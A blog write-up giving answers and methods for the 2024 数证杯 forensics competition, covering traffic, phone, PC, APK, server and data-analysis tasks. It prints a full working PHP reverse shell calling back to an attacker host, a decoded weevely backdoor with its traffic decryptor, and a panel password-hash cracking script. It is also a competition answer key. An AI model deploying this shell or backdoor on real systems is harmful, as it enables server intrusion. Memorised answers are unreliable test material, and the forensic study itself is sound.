2024数证杯初赛

网络流量分析

1. [填空题]分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10) (2分)

结果为3504

2. [填空题]分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32) (2分)

结果为23F79

3. [填空题]分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1) (2分)

分组->会话,这种单一的流量包就看这个就行了,实际上是需要看攻击行为的

结果为192.168.75.131

4. [填空题]分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu) (2分)

结果为Ubuntu

5. [填空题]分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc) (2分)

811流开始进行端口扫描

扫完后有nmap信息

结果为nmap

6. [填空题]分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1) (2分)

后面漏洞挖掘用的Wfuzz

结果为3.1.0

7. [填空题]分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php) (2分)

先过滤一下,找到非404的内容

然后分析请求,可以看到几个get之后有一个post

结果为/dbadmin/test_db.php

8. [填空题]分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写) (2分)

过滤一下可以找到登陆后进行操作的流,第一个流是457536

往上找第一个就是登录成功的账号密码

结果为admin

9. [填空题]分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt) (4分)

可以看到写入的是demo.php

导出响应,保存html可以更直观地看到

结果为demo.php

10. [填空题]分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt) (4分)

可以看到写马从192.168.75.132下载了rev.txt

结果为rev.txt

11. [填空题]分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234) (4分)

得到webshell

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

结果为192.168.75.132:30127

12. [填空题]分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1) (2分)

拉webshell的时候,从攻击者电脑下载的

结果为3.11.8

13. [填空题]分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp) (2分)

查看反弹shell的内容

结果为wordpress

14. [填空题]分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写) (4分)

结果为sWfCsfJSPV9H3AmQzw8

15. [填空题]分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306) (2分)

应该是这个,总不能是请求端这里的端口吧?

结果为2000

16. [填空题]分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案 格式:按实际值填写) (4分)

这是马的内容

解析一下可以得到

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
    if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");
    }
?>

传输的请求和返回都在cbbf9691e00985a89e92c410之间

第一个命令是echo(57638),写一个解密脚本

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
$msg = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($msg),$k)));
?>

结果为57638

手机取证

1. [填空题]对手机镜像进行分析,机主微信ID号为?(答案按照实际填写,字母全小写) (2分)

结果为wxid_gvlyzqeyg83o22

2. [填空题]对手机镜像进行分析,机主在2023年12月登录宝塔面板使用的验证码为?(填写数字,答案格式如:1234) (2分)

短信数据库

结果为482762

3. [填空题]对手机镜像进行分析,小众即时通讯“鸽哒”应用程序的最后更新时间为?(答案格式如:1970-01-01 00:00:00) (2分)

/data/system/packages.xml

应用包名应该是这个

看ut

结果为2024-09-20 09:25:19

4. [填空题]对手机镜像进行分析,该手机中记录的最后一次开机时间。(答案格式如:1970-01-01 00:00:00) (2分)

/data/system/dropbox/SYSTEM_BOOT@1729740434784.txt

结果为2024-10-24 11:27:14

5. [填空题]对手机镜像进行分析,该手机中高德地图APP应用的登录ID为?(答案按照实际填写) (2分)

解密数据库/data/data/com.autonavi.minimap/files/girf_sync.db能看到

结果为950980338

*6. [填空题]对手机镜像进行分析,该手机中高德地图APP应用登录账号头像的SHA-256值前8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

找到头像目录,另一张的未登录的默认头像

按理说是要去解密UserInfo才可以的,不过解密过程在so当中难以逆向

或许可以使用hook,在调用解密的过程中,替换需要解密的文件,因为解密只需要输入密文,但是具体逻辑还是要看so里怎么做的

结果为8F8A68A3

7. [填空题]对手机镜像进行分析,其中20220207-20230206的微信账单文件的解压密码为?(答案格式:按实际值填写) (2分)

手机里有两张截图

结果为847005

8. [填空题]对手机镜像进行分析,机主在手机中存储的一张复古土砌矮墙照片的拍摄地为哪个城市?(答案格式:北京市) (2分)

先找到图片

看exif信息

结果为景德镇市

9. [填空题]对手机镜像进行分析,通过AI合成的人脸照片中,有几张照片是通过本机当前安装的AI照片合成工具生成,并有对应记录的 ?(填写数字,答案格式如:1234) (4分)

找到app

查看数据库

结果为3

10. [填空题]对手机镜像进行分析,统计出通讯录号码归属地第二多的省份是?(答案格式:广东) (4分)

通讯录数据库,写一个sql

select substr(data6,0,3) '归属地',count(1) '手机号数量' from `data` where mimetype_id=5 group by substr(data6,0,3) order by 手机号数量 desc

结果为福建

11. [填空题]对手机镜像进行分析,找出“季令柏”身份证号后4位为?(答案格式:1234) (2分)

照片文件头被填0

补一下就可以

结果为8043

12. [填空题]对手机镜像进行分析,找出接收“葵花宝典1.doc”文件使用的应用程序的第一次安装时间为?(答案格式如:1970-01-01 00:00:00) (2分)

tg接收的

首次安装同样实在packages.xml中,ft

结果为2024-09-20 09:29:40

*13. [填空题]对手机镜像进行分析,机主使用的小众即时通讯应用使用的服务器IP为?(答案格式:127.0.0.1) (2分)

看一下数据库里

里面就是一些提示

结果为163.179.125.64

14. [填空题]对手机镜像进行分析,机主在哪个平台上发布过转让传奇游戏币的信息,请写出该平台应用APP的包名?(答案格式:com.abcd) (4分)

结果为com.jiuwu

15. [填空题]对手机镜像进行分析,其中有一“双色球”网页的玩法规则中定义的“三等奖”的奖金是多少?(填写数字,答案格式如:1234) (4分)

手机里有一个备忘录软件,查看其数据库/data/data/com.snmitool.freenote/databases/data-todo

保存了一些网址,可以找到双色球

结果为3000

16. [填空题]对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的用户ID为?(答案格式:答案按照实际填写) (2分)

米家APP

结果为2968704175

17. [填空题]对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的IP地址为?(答案格式:127.0.0.1) (4分)

同样还是mmkv的数据

结果为192.168.110.106

计算机取证

1. [填空题]对计算机镜像进行分析,计算该镜像中ESP分区的SM3值后8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

xways没法算sm3

结果为BDBE1073

2. [填空题]对计算机镜像进行分析,该操作系统超管账户最后一次注销时间为?(时区为UTC+08:00)(答案格式如:1970-01-01 00:00:00) (2分)

事件ID4634

结果为2024-10-15 22:57:32

3. [填空题]对计算机镜像进行分析,该操作系统超管账户有记录的登录次数为?(填写数字,答案格式如:1234) (2分)

结果为24

4. [填空题]对计算机镜像进行分析,该操作系统设置的账户密码最长存留期为多少天?(填写数字,答案格式如:1234) (2分)

结果为42

5. [填空题]对计算机镜像进行分析,该操作系统安装的数据擦除软件的版本为?(答案格式:1.23) (2分)

结果为5.86

6. [填空题]对计算机镜像进行分析,该操作系统接入过一名称为“Realtek USB Disk autorun USB Device”的USB设备,其接入时分配的 盘符为?(答案格式:A:) (2分)

SYSTEM注册表

结果为E

7. [填空题]对计算机镜像进行分析,该操作系统无线网卡分配的默认网关地址为?(答案格式:127.0.0.1) (2分)

结果为192.168.43.104

8. [填空题]对计算机镜像进行分析,该操作系统配置的连接NAS共享文件夹的IP地址为?(答案格式:127.0.0.1) (2分)

用户注册表,/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/MountPoints2/

结果为192.168.188.1

9. [填空题]对计算机镜像进行分析,写出“吵群技巧.txt”文件SM3值的后8位?(大写字母与数字组合,如:D23DDF44) (2分)

搞了伪加密

处理一下或者用winrar

结果为10887AE1

10. [填空题]对计算机镜像进行分析,该操作系统通过SSH连接工具连接CCTalk测试环境的SSH端口为?(填写数字,答案格式如:1234) (2分)

密码解密(这是5.1版本,该版本不需要用户名),另外回收站里有个xftp的会话,一起拿出来

结果为192.168.8.178

11. [填空题]对计算机镜像进行分析,该操作系统通过SSH连接工具连接的CCTalk境外服务器是哪个运营商的?(填写汉字,答案格式: 阿里云) (2分)

结果为亚马逊云

12. [填空题]对计算机镜像进行分析,获取机主保存在本机的U盾序号的后4位数字为?(填写数字,答案格式如:1234) (2分)

藏了一个png在后面

结果为6409

13. [填空题]对计算机镜像进行分析,机主存储的某篇新闻报道“小程序搅动资源争夺战”的发表年份为?(答案格式:2024) (2分)

递归过滤

结果为2019

14. [填空题]对计算机镜像进行分析,该操作系统访问“环球商贸”的IP地址为?(答案格式:127.0.0.1) (2分)

edge书签

结果为39.108.126.128

15. [填空题]对计算机镜像进行分析,“环球商贸”服务器配置的登录密码为?(答案按照实际填写,字母存在大小写) (2分)

之前在图片里可以发现用FinalShell连接了服务器,把会话保存出来

结果为HQSM#20231108@gwWeB

16. [填空题]对计算机镜像进行分析,机主安装的PC-Server服务环境的登录密码是?(答案按照实际填写,字母全小写) (2分)

结果为jlb654321

17. [填空题]对计算机镜像进行分析,机主搭建的宝塔面板的安全入口为?(答案格式:/abc123) (2分)

书签里

结果为c38b336a

18. [填空题]对计算机镜像进行分析,机主搭建的宝塔面板的登录账号为?(答案格式:abcd) (2分)

浏览器没有保存账号密码,考虑服务器,由于有hyper-v,所以找一下虚拟磁盘

仿真加一个网卡vi /etc/netplan/00-installer-config.yml

结果为igmxcdsa

19. [填空题]对计算机镜像进行分析,其搭建的宝塔面板的登录密码为?(按实际值填写) (2分)

哈希碰撞93c35e3af4cfe9a3d19de72d4dce3337

salt的值是空的,所以哈希就是md5(md5(md5(password)+'_bt.cn'))

因此123456的哈希是41fc77abd2607bb361e4ed722f7b4f2a

修改密码可以得到确认

pc中全局搜用户名,可以在pagefile里找到

验证一下,哈希一致,如果是这个密码,那么也有可能是要根据jlb这个去做字典或者掩码攻击,因为pc有密码提示jlb******这种

from hashlib import md5

def md5sum(s):
    _md5 = md5()
    _md5.update(s.encode('utf-8'))
    return _md5.hexdigest()

def bt_hash(password):
    md51 = md5sum(password)
    pwd_hash = md5sum(md5sum(md51+'_bt.cn'))
    return pwd_hash

print(bt_hash("jlb1998"))
#93c35e3af4cfe9a3d19de72d4dce3337

结果为jlb1998

20. [填空题]对计算机镜像进行分析,机主搭建的宝塔环境中绑定的宝塔账号是?(按实际值填写) (4分)

结果为17859628390

21. [填空题]对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境的root密码为?(按实际值填写) (4分)

结果为123456

22. [填空题]对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境连接的端口号为?(填写数字,答案格式如:1234) (2分)

结果为3306

23. [填空题]接上题,“卡号分组”表所在的数据库名为?(答案按照实际填写,字母全小写) (4分)

结果为a_train2023

24. [填空题]接上题,“孙华锦”在2020-07-01 10:49:07时间节点的交易余额为?(答案格式:1234.56) (4分)

结果为6610.94

25. [填空题]对U盘镜像进行分析,其镜像中共有几个分区?(填写数字,答案格式如:1234) (2分)

fat32分区的引导扇区被填0,ntfs分区的引导扇区被填255

结果为2

26. [填空题]对U盘镜像进行分析,其中FAT32主分区的FAT表数量有几个?(请使用十进制数方式填写答案,答案格式:1234) (2分)

F8FFFF

结果为1

27. [填空题]对U盘镜像进行分析,其中FAT32主分区定义的每扇区字节数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

结果为512

28. [填空题]对U盘镜像进行分析,其中FAT32主分区的文件系统前保留扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

分区1跳过来是第2048扇区

FAT表是第9393扇区

两者相减得到

结果为7345

29. [填空题]对U盘镜像进行分析,其中FAT32主分区的FAT1表相对于整个磁盘的起始扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

结果为9393

30. [填空题]对U盘镜像进行分析,其中NTFS逻辑分区的$MFT起始簇号为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

先通过46494c45取找mftmirror,这个备份是会在磁盘靠前的位置(扇区16),而mft会在磁盘靠中间的位置

由于mftmirror是mft的备份,所以复制16字节的数据向下搜索,成功找到mft的位置,其80属性会记录起始簇号

结果为39082

31. [填空题]对U盘镜像进行分析,其中NTFS逻辑分区的簇大小为多少个扇区?(请使用十进制数方式填写答案,答案格式:1234) (4分)

312656/39082=8

结果为8

32. [填空题]对U盘镜像进行分析,请从该镜像的两个分区中找出使用“新建文本文档.txt”记录的同一个MD5值的两部分信息,并写出该MD5值的第13--20位字符串。(答案格式:大写字母与数字组合,如:D23DDF44) (4分)

这两个文件头被改了

修复一下就可以了

结果为d668aee2

程序功能分析

1-8是病毒,懒得搞虚拟机,不做了,微步可以做好几题

9. [填空题]分析检材APK中检材-01.apk,获取其md5(128bit)校验值的后八位?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

结果为CEAEBF87

10. [填空题]分析检材APK中检材-01.apk,请写出app的包名?(答案格式:com.xxx.xxx) (2分)

结果为com.changbo.pro

11. [填空题]接上题,请给出app的加固方式;(答案格式:梆梆) (2分)

结果为360

12. [填空题]接上题,请给出app启动时主页面显示的activity名称;(答案格式:com.xxx.xxx.Mainactivity) (2分)

问的是主页面,应该是成功启动后的?而不是入口

不过没见过这么问的

结果为com.changbo.pro.ui.home.MainActivity

13. [填空题]分析检材APK中检材-01.apk,请给出加密的访问地址的数据是? (4分)

抓包试一下

但是抓到的这个是不加密的

后来在文本资源里找到定义的app_s

查一下引用

跟到后面都可以发现解密方法

里面好像有检测hook的方法,但是没啥用,算法助手hook一下

结果为nCTC3EZ+il7D3P/0HglgduhUqlJikQwK

14. [填空题]分析检材APK中检材-01.apk,请给出解密后的域名为?(答案格式:需要加上端口号,如:http://tieba.com:6666) (4分)

结果为http://yueze.cc:8777

15. [填空题]接上题,请给出解密调用的so的名称;(答案格式:abc_amm) (4分)

跳转一下核心解密方法

结果为arm_classes4

16. [填空题]对检材APK中检材-02.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)

16、17详见23柏鹭杯-misc

结果为flag{ISEC-C4n_U_f1nd_th3_10st_2Ip_p455Word}

17. [填空题]对检材APK中检材-03.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)

结果为flag{ISEC-41a2369f6b586047b628d570c11d66f1}

服务器

1. [填空题]对服务器检材进行分析,站点服务器可能是从哪个云服务平台上调证过来的?(填写汉字,答案格式:亿速云) (2分)

结果为阿里云

2. [填空题]对服务器检材进行分析,站点服务器中数据库的密码是?(按实际值填写) (2分)

/data/cal-0.0.1-SNAPSHOT.jar查看配置文件

结果为Sxy000**

3. [填空题]对服务器检材进行分析,站点服务器用于提供服务发现的工具名是?(答案格式:zookeeper) (4分)

结果为consul

4. [填空题]对服务器检材进行分析,站点服务器数据库配置文件名是?(答案格式:database.php) (2分)

结果为application-sxj.yaml

5. [填空题]对服务器检材进行分析,该网站涉及的APP名称是?(答案格式:微信) (2分)

结果为顺心借

6. [填空题]对服务器检材进行分析,该网站用于存储大量身份证照的OSS中的AccessKeyID后八位是?(答案格式:按实际值填写) (2分)

结果为EuZJybzD

7. [填空题]对服务器检材进行分析,站点服务器用于消息转发代理工具所使用的端口号是?(填写数字,答案格式:3306) (2分)

mq消息队列

结果为5672

8. [填空题]对服务器检材进行分析,站点服务器用于启动定时任务的代码片段存在于?(答案格式:LoginIndex.class) (4分)

结果为MobileStatusTask.class

9. [填空题]对服务器检材进行分析,站点服务器用于验证用户输入的验证码是否匹配的代码片段存在于?(答案格式:LoginIndex.class) (4分)

结果为AdminIndexController.class

10. [填空题]对服务器检材进行分析,数据库服务器中Docker容器镜像中mysql的镜像ID号前6位是?(答案格式:123asd) (2分)

结果为23b013

11. [填空题]对服务器检材进行分析,数据库服务器中DockerCompose的版本号是?(答案格式:1.1.1) (2分)

结果为2.27.1

12. [填空题]对服务器检材进行分析,数据库服务器中用于存储后台登录账号的数据表名是?(答案格式:login) (2分)

容器里应该做了限制,登录不上,直接进去绕过密码就好了

改一下root密码

删除skip-grant-tables后重启容器(不删除无法正常从外部连接)

结果为sys_user

13. [填空题]对服务器检材进行分析,后台管理员“xpt-0”所绑定的手机号码是?(答案格式:13001880188) (2分)

结果为19521510863

14. [填空题]对服务器检材进行分析,用户首次借款初始额度是?(填写数字,答案格式:1) (2分)

重建一下网站,数据库连接信息里没有配置里的sxy用户,所以需要创建一个用户并授权,或者修改配置文件,将用户改为root

还是改配置文件方便一些

然后配置一下hosts

这种情况先把consul启动一下

然后就可以成功启动程序,查看域名,改一下本机的hosts

后台的话,端口是82

后台登录是手机验证码登录

前端转的ip不对,批量改一下,前端记得清除缓存

验证码发送失败,所以考虑人工塞入验证码

用户是禁用的,把state改成0

结果为4000

15. [填空题]对服务器检材进行分析,受害者在平台中一共结款了几次?(填写数字,答案格式:1) (2分)

查看日志,会有这样的异常报错,这是不正确使用group by导致的,可以临时设置去掉

哪来的受害者。。就拿总的吧

结果为1857

16. [填空题]对服务器检材进行分析,该平台中所有下单用户成功完成订单总金额是?(填写数字,答案格式:1) (2分)

结果为11066700

17. [填空题]对服务器检材进行分析,该平台中逾期费率是?(答案格式:1.1) (2分)

结果为0.1

18. [填空题]对服务器检材进行分析,该平台中累计还款总金额是?(填写数字,答案格式:1) (2分)

结果为10194700

19. [填空题]对服务器检材进行分析,该平台总共设置了多少种借款额度?(填写数字,答案格式:1) (2分)

结果为18

20. [填空题]对服务器检材进行分析,该平台一共有多少个借款渠道?(填写数字,答案格式:1) (2分)

一共140

激活状态的131

结果为131

21. [填空题]对服务器检材进行分析,该平台对已完成用户收取了总计多少元服务费,结果精确到整数?(填写数字,答案格式:123) (2分)

结果为4051915

数据分析

1. [填空题]对计算机,手机,U盘镜像检材综合分析,找出计算机中VC加密容器使用的登录密钥文件,其中逻辑大小较小的文件占用多少个字节?(答案格式:1234) (4分)

附加D盘里的vhd,然后用vc去解密磁盘,使用密钥文件,FinalShell和WinHex的快捷方式,之前手机的小众聊天软件里提到了

结果为1173

2. [填空题]对计算机,手机,U盘镜像检材综合分析,写出存储的“带彩计划.txt”文件的SM3哈希值前8位;(大写字母与数字组合,如:D23DDF44) (2分)

结果为AF30FFA1

3. [填空题]对计算机,手机,U盘镜像检材综合分析,写出存储的“Shakepay买币,提币流程.ppt”文件在当前分区的起始簇号;(填写数字,答案格式如:1234) (4分)

右键列出就可以了

结果为44378

4. [填空题]对计算机,手机,U盘镜像检材综合分析,写出存储在手机中,用于访问钱包地址的网站登录密码;(答案按照实际填写,字母全大写) (4分)

有一个应用下面存了密码

结果为X29772024

5. [填空题]对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址的前8位;(答案格式:abcd1234) (4分)

浏览器中登录metamask

结果为91cCcA87

6. [填空题]对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址私钥的前8位;(答案格式:abcd1234) (4分)

结果为e87dca4c

7. [填空题]对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的转入金额第三高的“对方卡号”字 段的值为?(答案格式:汉字) (2分)

解析一下账单https://github.com/WXjzcccc/WXjzc-tool/tree/main/pdf2excel

写脚本分析

import pandas as pd

df = pd.read_excel(r"G:\tmp\2024数证杯个人\交易明细\合并.xlsx",sheet_name='Sheet1')

print(df[df['存取\n类型'] == '转入'].groupby(['对方卡号'])['交易金额'].sum().sort_values(ascending=False))
_in = df[(df['存取\n类型'] == '转入') & (df['对方卡号'] == '陈建设') ]['交易金额'].sum()
_out = df[(df['存取\n类型'] == '转出') & (df['对方卡号'] == '陈建设') ]['交易金额'].sum()
print(f'转出净值:{_out-_in}')
print(df.groupby(['对方卡号'])['对方卡号'].count().sort_values(ascending=False))

结果为星辰

8. [填空题]对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的“对方卡号”字段值为“陈建设”的 转出净值为?(填写数字,答案格式如:1234) (2分)

结果为228661

9. [填空题]对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的交易笔数第三多的数量为?(填 写数字,答案格式如:1234) (2分)

结果为207

10. [填空题]对数据分析检材中的第01-数据进行分析,办案人员从多个赌博网站中导出了100多份的报表,请统计出所有平台会员使用本币充值的总金额是多少?(答案格式:仅数字,结果不保留小数) (2分)

import pandas as pd
import os

path = r"G:\tmp\2024数证杯个人\01-数据"
files = os.listdir(path)
lst = []
for file in files:
    with open(os.path.join(path, file), 'r', encoding='utf16') as fr:
        data = fr.read()
    with open(os.path.join(path, file), 'w', encoding='utf16') as fw:
        fw.write(data.replace('"', ''))
    lst.append(pd.read_csv(os.path.join(path,file),encoding='utf16'))
df = pd.concat(lst)

df_本币= df[df["充值金额"].str.find("转账") == -1]
df_本币['充值金额_new'] = df_本币['充值金额'].astype(float)
print(f'总充值金额:{df_本币["充值金额_new"].sum()}')

结果为17590342

11. [填空题]对数据分析检材中的第02-数据进行分析,办案人员在电脑中找到多个赌博网站的交易流水报表,每个报表都是以网站编号 和年份命名,每个月独立生成一个sheet页。请统计出所有的交易流水总金额是多少?(答案格式::123456) (2分)

里面是有负值的,所以这个流水应该怎么搞?是直接求和呢,还是算出所有的变动金额呢?

import pandas as pd
import os

path = r"G:\tmp\2024数证杯个人\02-数据"
files = os.listdir(path)
lst = []
for file in files:
    for i in range(1,13):
        lst.append(pd.read_excel(os.path.join(path,file),sheet_name=f'{i}月'))
df = pd.concat(lst)
df['流水金额'] = abs(df['收支金额'])

print(f'收支金额求和:{df["收支金额"].sum()}')
print(f'流水金额求和(不计方向):{df["流水金额"].sum()}')

结果为120630660

12. [填空题]对数据分析检材中的第03-数据进行分析,请从赌博平台的用户登录日志表中,统计出2020年1月1号至2020年6月30号,总共有多少位会员登录了该平台?(答案格式:123456) (2分)

结果为4125

13. [填空题]对数据分析检材中的第03-数据进行分析,通过还原赌博平台数据库备份文件,请统计用户投注总次数前5的彩种开奖总次数?(涉及的数据库表:ssc2022_bets,ssc2022_data)(答案格式:123456) (4分)

sql备份在桌面

结果为12724

14. [填空题]对数据分析检材中的第03-数据进行分析,请统计出在不止一种彩种上进行过投注的用户数量,并计算他们在2018年一共涉及了平台多少流水?(答案格式:保留三位有效数字,如:123.123) (4分)

结果为10721.099

posted @ 2024-11-21 14:55  WXjzc  阅读(1691)  评论(0编辑  收藏  举报